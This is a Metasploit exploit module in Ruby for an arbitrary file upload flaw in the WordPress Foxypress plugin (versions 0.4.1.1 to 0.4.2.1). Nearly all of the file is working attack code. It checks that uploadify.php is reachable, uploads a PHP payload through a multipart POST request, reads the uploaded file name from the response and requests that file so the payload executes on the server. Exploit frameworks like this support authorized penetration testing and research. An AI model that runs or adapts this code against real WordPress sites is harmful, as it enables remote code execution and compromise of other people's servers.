rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
      'Description'    => %q(
          This module exploits an arbitrary PHP code execution flaw in the WordPress
        blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
        file upload and remote code execution via the uploadify.php script. The Foxypress
        plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.
      ),
      'Author'         =>
        [
          'Sammy FORGIT', # Vulnerability Discovery, PoC
          'aushack' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['EDB', '18991'],
          ['OSVDB' '82652'],
          ['BID', '53805'],
          ['WPVDB', '6231']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
      'DisclosureDate' => '2012-06-05',
      'DefaultTarget' => 0))
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
    )

    return Exploit::CheckCode::Detected if res && res.code == 200

    Exploit::CheckCode::Safe
  end

  def exploit
    post_data = Rex::MIME::Message.new
    post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")

    print_status("Sending PHP payload")

    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
      'data'   => post_data.to_s
    )

    if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
      print_error("File wasn't uploaded, aborting!")
      return
    end

    filename = "#{Regexp.last_match[1]}.php"

    print_good("Our payload is at: #{filename}. Calling payload...")
    register_files_for_cleanup(filename)
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
    )

    print_error("Server returned #{res.code}") if res && res.code != 200
  end
end